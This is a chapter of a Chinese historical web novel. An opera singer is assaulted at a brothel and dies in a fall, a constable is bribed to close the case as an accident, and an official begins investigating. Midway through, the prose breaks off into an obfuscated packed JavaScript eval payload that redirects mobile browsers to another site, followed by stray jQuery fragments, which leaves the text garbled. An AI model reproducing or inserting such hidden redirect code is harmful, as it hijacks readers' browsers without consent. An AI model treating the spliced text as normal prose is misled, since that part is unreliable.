永熙四年的五月廿七，暑气最盛的一夜。


    亥时已过，荷花巷却未眠。各家青楼妓馆依旧灯火通明，丝竹声、调笑声从敞开的雕花窗棂里飘出来，混着脂粉香、汗味，在闷热的夜风里氤氲成一片粘腻的浮华。檐下悬着的灯笼在热风中微微晃动，昏黄的光晕照着青石板路，蒸腾起白日积攒的暑气。


    撷芳楼是这条街上新起的馆子，三层木楼飞檐翘角，朱漆廊柱上雕着缠枝莲花，门楣悬着“撷芳”二字匾额，据说是某位致仕翰林的手笔。此刻楼内正热闹，大堂里几个胡姬跳着旋舞，赤足踏在猩红毡毯上，金铃叮当作响，引得满堂喝彩。


    三楼最东边的雅间，名叫“玉笙阁”。


    这名字雅致，里头却正上演着一出不堪的戏。


    房中四角摆着冰鉴，凉气丝丝，却驱不散满室浑浊的酒气。四个男子围坐一桌，酒已过了三巡。主位坐着卢弘义，宝蓝织金薄绸箭袖袍半敞着，露出里头月白中衣，胸口已被汗水洇湿一片。他怀里搂着个穿桃红轻纱衣的姑娘，手正不安分地在人腰间游走，眼神却瞟向对面——


    对面坐着张文瑾和陈显宗。


    张文瑾是吏部侍郎张韬的嫡子，今年二十有三，生得白面微须，穿一身藕荷色暗纹薄绸直裰，手里转着酒杯，笑得温和，眼底却藏着三分精明。他今日做东，请卢弘义和陈显宗来“赏新”——撷芳楼新来了个唱昆腔的戏子，名叫柳含烟，据说生得极好，嗓子更是一绝。


    陈显宗坐在最末，半旧的宝蓝薄绸直裰在满室锦绣里显得寒酸。他垂着眼，一杯接一杯地喝着冰镇的酒，面色潮红，额角渗着汗，显是已有了醉意。卢弘义方才又提了私盐的生意，说第一批货已到，要他三日内凑五千两本钱——五千两，他上哪去弄？


    正烦闷间，门帘一挑，班主胡三娘领着个少年进来。


    满室霎时一静。


    那少年约莫十七八岁，穿着一身素白水袖薄绸戏服，外罩淡青纱衫，墨发用一根素银簪松松束在脑后。生得眉目如画，尤其一双眼睛，清澈得像秋日的湖水，眼尾微微上挑，带着三分天生的风致。只是面色苍白，唇色浅淡，像枝头被烈日晒蔫的白玉兰，美则美矣，却透着股子倦怠。


    “三位爷，”胡三娘堆着笑，满脸脂粉被汗水晕开，“这就是含烟，咱们撷芳楼新来的台柱子。含烟，快给爷们请安。”


    柳含烟拱手一揖，声音清泠泠的，带着江南水乡的温润：“小可含烟，见过三位公子。”


    声如其人，干净得像山泉。


    卢弘义眼睛亮了，推开怀里的姑娘，招手道：“过来，让爷瞧瞧。”


    柳含烟迟疑片刻，缓步上前。离得近了，才看清他额角有块淡淡的瘀青，用脂粉勉强盖着，却还是透出些青紫。


    卢弘义伸手就要摸他的脸，柳含烟侧身避开，低声道：“爷请自重。”


    “自重？”卢弘义笑了，笑声里满是轻佻，“进了这撷芳楼，还讲什么自重？胡班主，你这小相公，不太懂事啊。”


    胡三娘连忙赔笑：“卢爷息怒，含烟刚来，还不懂规矩。含烟，快给卢爷敬酒！”


    柳含烟抿了抿唇，接过酒杯，递到卢弘义面前。手微微发抖，冰凉的酒液在杯中晃荡。


    卢弘义却不接，只盯着他：“喂爷喝。”


    满室目光都落在他身上。张文瑾似笑非笑，陈显宗别过脸，胡三娘急得直使眼色。


    柳含烟闭上眼，深吸一口闷热的空气，将酒杯送到唇边。可手抖得厉害，酒洒出来，泼在卢弘义微湿的衣襟上。


    “啪！”


    一记耳光。


    卢弘义扬手打了他，力道不轻，柳含烟踉跄后退，撞在桌沿上，额角的瘀青更显了。


    “给脸不要脸！”卢弘义站起身，扯住他汗湿的头发，“一个戏子，装什么清高？爷看得上你，是你的福分！”


    柳含烟挣扎着，眼中泛起屈辱的泪光，却倔强地不肯落下：“放开我……”


    “放开？”卢弘义狞笑，手往下探，去扯他的衣襟，“爷今天就要尝尝，你这‘含烟’小相公，到底是个什么滋味！”


    薄绸撕裂的声音。


    素白戏服被扯开半边，露出里头月白中衣，和一片白皙的肩颈。柳含烟尖叫起来，拼命挣扎，指甲划过卢弘义的手背，留下三道血痕。


    卢弘义吃痛，怒极，将他狠狠掼在地上。


    柳含烟头撞在桌脚，发出一声闷响。他趴在地上，墨发散乱，戏服凌乱，肩颈裸露在烛光里，那块瘀青在雪白的肌肤上触目惊心。


    他抬起头，看着满室的人。卢弘义的狰狞，张文瑾的冷漠，陈显宗的回避，胡三娘的焦急——没有一个人帮他。


    一个都没有。


    就像十年前，盛家被抄那日，他躲在母亲身后，看着那些衙役将家中男丁一个个戴上枷锁。没有人帮他们，没有人说话，只有冷漠的目光，像烧红的烙铁，将他灼伤。


    十年了。


    他像一片飘萍，在污浊的世道里浮沉，从未有过一日安宁。


    本以为唱戏能有一方清净，可这世道，哪有什么清净？


    只有践踏，和被践踏。


    玉笙阁的窗开着一半，夜风灌进来，带着些许凉意，却吹不散满室粘腻。窗外是黑沉沉的夜，楼下是荷花巷的石板路，此时已没什么行人，只有几盏孤零零的灯笼在热风里摇晃。


    素白薄绸衣裙在夜风里翻飞，像一只折翼的白鹤。


    轻飘飘地，坠入无边的黑暗。


    “啊——！”楼下传来女子的尖叫。


    接着是重物坠地的闷响，像一块玉，摔碎在青石板上。


    玉笙阁里，死一般寂静。


    只有夜风呜呜地吹，吹得烛火跳动，在每个人汗湿的脸上投下摇曳的阴影。


    卢弘义还保持着伸手的姿势，僵在原地。


    楼下已乱成一团。脚步声、惊呼声、哭喊声混成一片，像煮沸的水，将这闷热的夜的宁静彻底打破。


    窗外的黑暗，吞没了一个鲜活的生命。


    也吞没了，某些人最后一点人形。


    寅时初，顺天府的人到了。


    带队的是快班班头赵四，四十出头，生得五大三粗，满脸横肉，一双三角眼透着精明。他带着几个衙役闯进撷芳楼时，胡三娘已候在门口，脸色惨白，手里紧紧攥着个锦囊。


    “赵爷，”她迎上去，声音发颤，“您可来了……”


    赵四没理她，径自走到院中。柳含烟的尸体还躺在青石板上，素白薄绸戏服被血浸透，在灯笼光里暗红一片。脸朝下，看不清面容，只有一头乌发散开，像泼墨。


    他蹲下身，翻了翻尸体，又抬头看了看三楼那扇开着的窗。


    “怎么回事？”他站起身，拍了拍手上的灰。


    胡三娘连忙将人引到一旁暖阁，屏退左右，这才“扑通”跪下，双手奉上锦囊：“赵爷，这是点心意，您收着……”


    赵四接过，掂了掂，沉甸甸的，怕是有百两。他脸色缓和了些，揣进怀里：“说吧，怎么死的？”


    “失足……失足坠楼。”胡三娘急声道，“含烟那孩子，今晚多喝了几杯，醉了，开窗透气，不小心……就掉下去了。”


    “醉了？”赵四挑眉，“可我听说，今晚玉笙阁里，还有三位爷？”


    胡三娘脸色一变，压低声音：“是卢公子、张公子和陈公子……赵爷，您也知道，这三位都是贵人，得罪不起。这事儿……能不能就按失足结了？该打点的，妾身绝不含糊。”


    赵四摸着下巴，沉吟不语。


    卢弘义，盐商卢家的嫡子。张文瑾，吏部侍郎的公子。陈显宗，永安伯府的庶子——虽说是个庶子，可到底是伯府的人。


    这三人，哪个都不是他一个小小的班头能惹的。


    可一条人命，就这么压下去……


    “赵爷，”胡三娘又掏出个锦囊，这次是赤金的，上头还镶着颗猫眼石，“这是卢公子让转交的。卢公子说了，只要这事儿办妥了，往后顺天府的弟兄们去卢家票号兑银子，一律免收兑费。”


    赵四眼睛亮了。


    卢家的票号遍布南北，兑银子的手续费可不低。若真能免了，弟兄们一年能省下不少银子。


    他接过金锦囊，在手里掂了掂，心中已有了计较。


    “既然胡班主说是失足，那就是失足。”他淡淡道，“不过，那三位公子……”


    “都已从后门送走了。”胡三娘忙道，“今晚的事儿，绝不会有第四个人知道。”


    赵四点点头：“那就这样吧。等天亮了，我让仵作来验尸，走个过场，就按失足报上去。你这边，该封口的封口，该打发的打发，别留后患。”


    “是是是，多谢赵爷！”胡三娘连声道谢，又从袖中摸出几张银票塞过去，“这点小意思，给弟兄们吃酒。”


    赵四坦然收了，转身走出暖阁。


    院中，几个衙役正围着尸体。赵四摆摆手：“都散了，等仵作来。记住，今晚的事儿，谁问都是失足坠楼。敢乱说一个字……”他冷哼一声，没说完，可那意思，谁都懂。


    衙役们噤若寒蝉。


    赵四走到尸体旁，又看了一眼。素白薄绸戏服已被血浸透，在晨光微熹里泛着暗红的光。他忽然想起很多年前，自己刚进顺天府时，也曾想过当个清正的好官，为民请命。


    可这世道，清正能当饭吃？


    看看那些高高在上的贵人，哪个不是满手鲜血？可人家活得滋润，活得风光。而他，一个小小的班头，若不靠着这些“孝敬”，连家都养不活。


    他蹲下身，伸手，合上了尸体的眼。


    触手冰凉，像玉。


    “小兄弟，”他低声说，声音只有自己能听见，“别怪我。要怪，就怪你命不好，生在这吃人的世道。”


    说完，他站起身，拍了拍衣摆上的灰，对衙役们道：“守好了，等仵作来。”


    然后，他转身，走进撷芳楼大堂。


    胡三娘已备好酒菜，暖阁里冰鉴散着凉气，几个姑娘陪着，娇声软语，很快就将这闷热的夜的阴森冲散了。


    赵四坐在主位，左拥右抱，喝着冰镇的酒，听着曲，仿佛方才院中那具尸体，不过是场噩梦。


    可他知道，那不是梦。


    是真真切切的一条人命。


    被他，用一百两银子，一颗猫眼石，和几句谎言，埋了。


    窗外，天色渐亮。


    晨光刺破云层，白花花地照着干燥的庭院。


    像一场盛大的曝晒，却无人哀悼。


    辰时三刻，北镇抚司值房。


    门窗紧闭，屋里摆着冰鉴。萧道煜坐在书案后，手里握着一卷密报，眉头紧锁。密报是从扬州来的，说盐运使沈济川最近动作频频，似在转移财产，准备外逃。


    她放下密报，揉了揉眉心。腹中的疼痛又开始了，像有只手在里头绞。她咬紧牙关，强忍着，从药瓶里倒出两粒药丸，和水吞下。


    药是斐兰度


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996012|193874||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    新配的，比“阳关三叠”温和些，可也只能缓解，不能根治。


    就像这朝堂的病，表面看着光鲜，内里早已烂透。


    “世子。”萨林的声音在门外响起。


    “进来。”


    萨林推门而入，手里拿着一份卷宗：“顺天府刚送来的命案简报，说是撷芳楼一个戏子失足坠楼，已结案了。”


    “戏子？”萧道煜抬眸，“什么名字？”


    “柳含烟，十七岁，苏州人，教坊司乐籍，半月前才到撷芳楼唱戏。”


    萧道煜心中一动。这名字……有些耳熟。


    她接过卷宗，快速浏览。简报写得很简略，只说昨夜子时三刻，撷芳楼戏子柳含烟因醉酒失足，从三楼玉笙阁坠楼身亡。现场无打斗痕迹，无目击证人，已按意外结案。


    可越是简略，越透着古怪。


    “萨林，”她放下卷宗，“去查查这个柳含烟。教坊司的乐籍，怎么到的撷芳楼？昨夜玉笙阁里，都有谁？”


    “是。”萨林应声退下。


    萧道煜靠在椅背上，闭上眼。脑海中浮现许多碎片——柳含烟，苏州人，教坊司乐籍，十七岁……十年前，苏州盛家出事，盛家有个表少爷，那年七岁。


    会是他吗？


    若真是，那这“失足坠楼”，恐怕就没那么简单了。


    盛家那案子，牵扯的是江南军饷亏空。一百二十万两银子，追回八万两，余下的不翼而飞。主谋盛文谦被斩，可真正吞了银子的人，还逍遥法外。


    若柳含烟真是盛家表少爷，那他的死，会不会和旧案有关？


    萧道煜睁开眼，眼中金光流动。


    这京城，又要起风了。


    门外传来脚步声，伊凡走了进来。他今日穿了身月白薄绸劲装，面色依然苍白，可眼神却比往日更沉，像古井深潭。


    “世子，”他躬身行礼，“撷芳楼的事，查到了。”


    “说。”


    “昨夜玉笙阁里，有三个人。”伊凡道。


    三个名字，像三块石头，投入萧道煜心湖，激起层层涟漪。


    卢弘义——盐商。


    张文瑾——吏部。


    陈显宗——伯府。


    这三人凑在一起，绝不会是简单的喝酒听曲。


    “还有，”伊凡继续道，“柳含烟的真实身份查到了。他本名盛如诚，是十年前被抄家的苏州转运使盛文谦的外甥。盛家出事那年，他七岁，被卖入戏班，一直在苏州。半月前才被人赎出，送到京城撷芳楼。”


    果然。


    萧道煜握紧了拳。


    盛家的案子，果然还没完。


    “谁赎的他？”她问。


    “不知道。”伊凡摇头，“教坊司的记录被人动了手脚，只写‘贵人赎买’，未留姓名。”


    萧道煜站起身，走到窗前。推开窗，闷热的风灌进来，吹散了冰鉴带来的些许凉意。窗外天色阴沉，白花花的日光灼着干燥的庭院，整个京城像一幅被晒褪了色的画。


    “伊凡，”她转身，眼中闪过冷光，“你觉得，柳含烟真是失足坠楼吗？”


    伊凡沉默片刻，低声道：“臣不信。”


    他顿了顿，一字一顿：“这世上，没有这么巧的事。”


    萧道煜笑了，笑意冰冷：“是啊，太巧了。巧得像……杀人灭口。”


    她走回书案前，拿起那份简报，盯着上面“失足”二字，眼中杀意骤现。


    “顺天府那边，是谁结的案？”


    “快班班头赵四。”伊凡道，“今早寅时到的现场，辰时就结了案，报了上来。据撷芳楼的人说，赵班头在暖阁里待了半个时辰，出来时，怀里鼓囊囊的。”


    “受贿？”萧道煜挑眉。


    “八九不离十。”伊凡点头，“卢家有的是银子，买通一个班头，易如反掌。”


    萧道煜将简报扔在案上，冷笑：“好一个‘失足’，好一个‘结案’。一条人命，就这么轻飘飘地埋了。”


    她顿了顿，眼中金光更盛：“伊凡，去把赵四‘请’来。还有，撷芳楼的胡班主，也一并‘请’来。我要亲自问问，这‘失足’，到底是怎么个失法。”


    “是。”伊凡应声，却又迟疑，“世子，若是牵扯到卢家、张家，还有伯府……”


    “那又如何？”萧道煜打断他，语气森冷，“这北镇抚司，怕过谁？去办。”


    “是！”伊凡不再多言，转身退下。


    值房里，又只剩萧道煜一人。


    她走到窗前，推开窗。闷热的风灌进来，吹得她一阵咳嗽。她用手捂住嘴，咳得撕心裂肺，指缝间渗出暗红的血丝。


    可那双眼睛，却亮得灼人。


    像淬了火的刀，要将这污浊的世道，一寸寸剖开。


    一个戏子，罪臣之后。


    他的死，或许微不足道。


    可这微不足道的死，或许能撬开某些尘封的旧案，揭开某些人的遮羞布。


    就像一颗石子，投入死水，激起的涟漪，会波及整个池塘。


    萧道煜擦去嘴角的血迹，看着窗外被热浪扭曲的天空。


    她知道，一场风暴，就要来了。


    而她，就是那个掀风起浪的人。


    哪怕粉身碎骨，也要让这吃人的世道，付出代价。


    窗外，烈日灼灼。


    白花花的光，像无数把刀，切割着这闷热的京城，也为那个死去的少年，为这即将到来的腥风血雨，镀上一层刺目的亮。